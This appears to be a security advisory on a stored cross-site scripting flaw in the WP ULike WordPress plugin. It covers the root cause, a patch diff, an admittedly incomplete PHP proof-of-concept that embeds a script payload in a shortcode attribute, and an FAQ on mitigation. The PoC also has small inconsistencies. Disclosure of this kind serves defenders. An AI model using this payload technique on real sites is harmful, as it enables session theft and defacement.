Atomic Edge analysis of CVE-2026-2358:
The vulnerability is a stored Cross-Site Scripting (XSS) flaw in the WP ULike plugin. The root cause is improper output sanitization for the `template` attribute of the `[wp_ulike_likers_box]` shortcode. In versions up to 5.0.1, the plugin processes this attribute using `html_entity_decode()` without subsequent sanitization, as seen in `/wp-ulike/includes/hooks/shortcodes.php` line 209. This decoding effectively bypasses WordPress’s built-in `wp_kses_post()` content filtering, which is applied to shortcode output. The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker must create or edit a post, embed the shortcode `[wp_ulike_likers_box template=PAYLOAD]`, and publish it. The payload must be HTML entity-encoded to pass initial WordPress sanitization. When a user views the post, the plugin decodes the payload and renders it unsanitized, executing arbitrary JavaScript. The post must have at least one like for the shortcode to render content. The patch in version 5.0.2 replaces `html_entity_decode()` with a call to `wp_ulike_kses()`, a custom sanitization function, on line 209. This change ensures the `template` attribute is sanitized before output, neutralizing the XSS vector. If exploited, this vulnerability allows attackers to steal session cookies, perform actions as the victim, or deface sites.

CVE-2026-2358: WP ULike <= 5.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute (wp-ulike)
CVE-2026-2358
wp-ulike
5.0.1
5.0.2
Analysis Overview
Differential between vulnerable and patched code
--- a/wp-ulike/includes/classes/class-wp-ulike-purge-cache.php
+++ b/wp-ulike/includes/classes/class-wp-ulike-purge-cache.php
@@ -23,6 +23,7 @@
{
$this->purgeEnduranceCache();
$this->purgeHummingbirdCache();
+ $this->purgeKinstaCache();
$this->purgeLitespeedCache();
$this->purgeSiteGroundCache();
$this->purgeSwiftPerformanceCache();
@@ -42,6 +43,7 @@
if (!empty($post_ids)) {
$this->purgeEnduranceCache($post_ids, $reffer_url);
$this->purgeHummingbirdCache($post_ids, $reffer_url);
+ $this->purgeKinstaCache($post_ids, $reffer_url);
$this->purgeLitespeedCache($post_ids, $reffer_url);
$this->purgeSiteGroundCache($post_ids, $reffer_url);
$this->purgeSwiftPerformanceCache($post_ids, $reffer_url);
@@ -56,6 +58,58 @@
}
}
+ /**
+ * Kinsta cache purge. Only runs when Kinsta MU plugin is present; uses kinsta_cache_purge->initiate_purge( $post_id ).
+ * Also purges referrer URL via GET {url}/kinsta-clear-cache/ when it differs from the post.
+ *
+ * @param array $post_ids Post IDs to purge.
+ * @param string|null $reffer_url Referrer URL to purge when different from post.
+ * @see https://kinsta.com/
+ */
+ protected function purgeKinstaCache( $post_ids = [], $reffer_url = null ) {
+ global $kinsta_muplugin;
+
+ if ( ! did_action( 'init' ) || ! isset( $kinsta_muplugin ) || ! class_exists( 'KinstaKMP' ) || ! $kinsta_muplugin instanceof KinstaKMP ) {
+ return;
+ }
+
+ $purge = isset( $kinsta_muplugin->kinsta_cache_purge ) ? $kinsta_muplugin->kinsta_cache_purge : null;
+ if ( ! $purge || ! is_callable( array( $purge, 'initiate_purge' ) ) ) {
+ return;
+ }
+
+ if ( empty( $post_ids ) ) {
+ if ( is_callable( array( $purge, 'purge_complete_caches' ) ) ) {
+ $purge->purge_complete_caches( true );
+ }
+ return;
+ }
+
+ $purged_permalinks = array();
+ foreach ( (array) $post_ids as $post_id ) {
+ $post_id = (int) $post_id;
+ if ( $post_id <= 0 || ! get_post_type( $post_id ) ) {
+ continue;
+ }
+ $purge->initiate_purge( $post_id );
+ $permalink = get_permalink( $post_id );
+ if ( $permalink ) {
+ $purged_permalinks[] = untrailingslashit( preg_replace( '#?.*$#', '', $permalink ) );
+ }
+ }
+
+ if ( ! empty( $reffer_url ) && is_string( $reffer_url ) ) {
+ $reffer_url = esc_url_raw( $reffer_url );
+ if ( $reffer_url ) {
+ $ref_normalized = untrailingslashit( preg_replace( '#?.*$#', '', $reffer_url ) );
+ if ( ! in_array( $ref_normalized, $purged_permalinks, true ) ) {
+ $base = rtrim( preg_replace( '#?.*$#', '', $reffer_url ), '/' );
+ wp_remote_get( $base . '/kinsta-clear-cache/', array( 'sslverify' => false, 'timeout' => 5 ) );
+ }
+ }
+ }
+ }
+
/**
* @see https://github.com/bluehost/endurance-page-cache/
*/
--- a/wp-ulike/includes/hooks/shortcodes.php
+++ b/wp-ulike/includes/hooks/shortcodes.php
@@ -206,7 +206,7 @@
}
if( ! empty( $args['template'] ) ){
- $args['template'] = html_entity_decode( $args['template'] );
+ $args['template'] = wp_ulike_kses( $args['template'] );
}
$output = sprintf( '<div class="wp_ulike_manual_likers_wrapper wp_%s_likers_%d">%s</div>', esc_attr( $args['type'] ), esc_attr( $args['id'] ),
--- a/wp-ulike/wp-ulike.php
+++ b/wp-ulike/wp-ulike.php
@@ -3,7 +3,7 @@
* Plugin Name: WP ULike
* Plugin URI: https://wpulike.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
* Description: Looking to increase user engagement on your WordPress site? WP ULike plugin lets you easily add voting buttons to your content. With customizable settings and detailed analytics, you can track user engagement, optimize your content, and build a loyal following.
- * Version: 5.0.1
+ * Version: 5.0.2
* Author: TechnoWich
* Author URI: https://technowich.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
* Text Domain: wp-ulike
@@ -30,7 +30,7 @@
// Do not change these values
define( 'WP_ULIKE_PLUGIN_URI' , 'https://wpulike.com/' );
-define( 'WP_ULIKE_VERSION' , '5.0.1' );
+define( 'WP_ULIKE_VERSION' , '5.0.2' );
define( 'WP_ULIKE_DB_VERSION' , '2.4' );
define( 'WP_ULIKE_SLUG' , 'wp-ulike' );
define( 'WP_ULIKE_NAME' , 'WP ULike' );
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2358 - WP ULike <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute
<?php
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: HTML entity-encoded JavaScript alert.
// The plugin's html_entity_decode() will convert this back to <script>alert('Atomic Edge XSS')</script>
$payload = '<script>alert("Atomic Edge XSS")</script>';
$shortcode = "[wp_ulike_likers_box template='{$payload}']";
// Step 1: Authenticate and get nonce for post creation.
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
])
]);
$response = curl_exec($ch);
// Step 2: Fetch a nonce for the 'create-post' action (using the WordPress heartbeat API).
curl_setopt_array($ch, [
CURLOPT_URL => $admin_ajax_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'heartbeat',
'_nonce' => wp_create_nonce('heartbeat-nonce'), // This would need dynamic extraction in a real scenario.
'data' => json_encode(['wp_autosave' => ['post_id' => 0, 'content' => $shortcode, 'title' => 'Atomic Edge PoC']])
])
]);
$response = curl_exec($ch);
// Note: A full PoC requires extracting a valid nonce and creating a post via REST API or admin-ajax.
// This script outlines the attack vector but cannot execute fully without dynamic nonce handling.
// The core exploit is embedding the shortcode with the encoded payload in a post's content.
curl_close($ch);
echo "PoC concept: Create a post with shortcode: {$shortcode}n";
?>
Frequently Asked Questions
What is CVE-2026-2358?
Overview of the vulnerabilityCVE-2026-2358 is a stored Cross-Site Scripting (XSS) vulnerability in the WP ULike plugin for WordPress, affecting versions up to 5.0.1. It allows authenticated users with Contributor-level access and above to inject arbitrary JavaScript into posts via the shortcode attribute, which can then execute when other users view the post.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from the use of html_entity_decode() on the ‘template’ attribute of the [wp_ulike_likers_box] shortcode without proper output sanitization. This allows an attacker to encode malicious scripts in HTML entities, which are decoded when the post is viewed, leading to the execution of the injected scripts.
Who is affected by this vulnerability?
Identifying at-risk usersAny WordPress site using the WP ULike plugin version 5.0.1 or earlier is at risk. Specifically, authenticated users with Contributor-level access or higher can exploit this vulnerability to inject scripts into posts.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the WP ULike plugin installed. If it is version 5.0.1 or earlier, your site is at risk. Additionally, review the posts for any suspicious shortcodes that may have been injected.
How can I fix this vulnerability?
Mitigation stepsTo fix this vulnerability, update the WP ULike plugin to version 5.0.2 or later, where the issue has been patched. Regularly check for plugin updates and apply them promptly to maintain security.
What does a CVSS score of 6.4 indicate?
Understanding the severity levelA CVSS score of 6.4 indicates a medium severity level for this vulnerability. This suggests that while exploitation is possible, it requires authenticated access, which may limit the number of potential attackers.
What practical risks does this vulnerability pose?
Consequences of exploitationIf exploited, this vulnerability can allow attackers to execute arbitrary JavaScript in the context of the victim’s browser. This could lead to session hijacking, unauthorized actions on behalf of users, or defacement of the site.
What is the proof of concept for this vulnerability?
Demonstrating the exploitThe proof of concept demonstrates how an authenticated user can exploit the vulnerability by creating a post with a specially crafted shortcode that includes an HTML entity-encoded script. When other users view the post, the script executes, illustrating the XSS attack.
What should I do if I find my site is compromised?
Response to exploitationIf your site is compromised, immediately remove the malicious scripts and update the WP ULike plugin to the latest version. Review user roles and permissions, change passwords, and consider conducting a full security audit.
Are there any additional security measures I should take?
Enhancing overall securityIn addition to updating the plugin, consider implementing a Web Application Firewall (WAF), regularly scanning for vulnerabilities, and educating users about secure practices to minimize the risk of exploitation.
How can I prevent similar vulnerabilities in the future?
Long-term security strategiesTo prevent similar vulnerabilities, maintain a rigorous update schedule for all plugins and themes, utilize security plugins for monitoring, and conduct regular security audits to identify and remediate potential issues.
Where can I find more information about CVE-2026-2358?
Resources for further readingMore information about CVE-2026-2358 can be found on the National Vulnerability Database (NVD), the official WordPress plugin repository, and security blogs that cover WordPress vulnerabilities.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






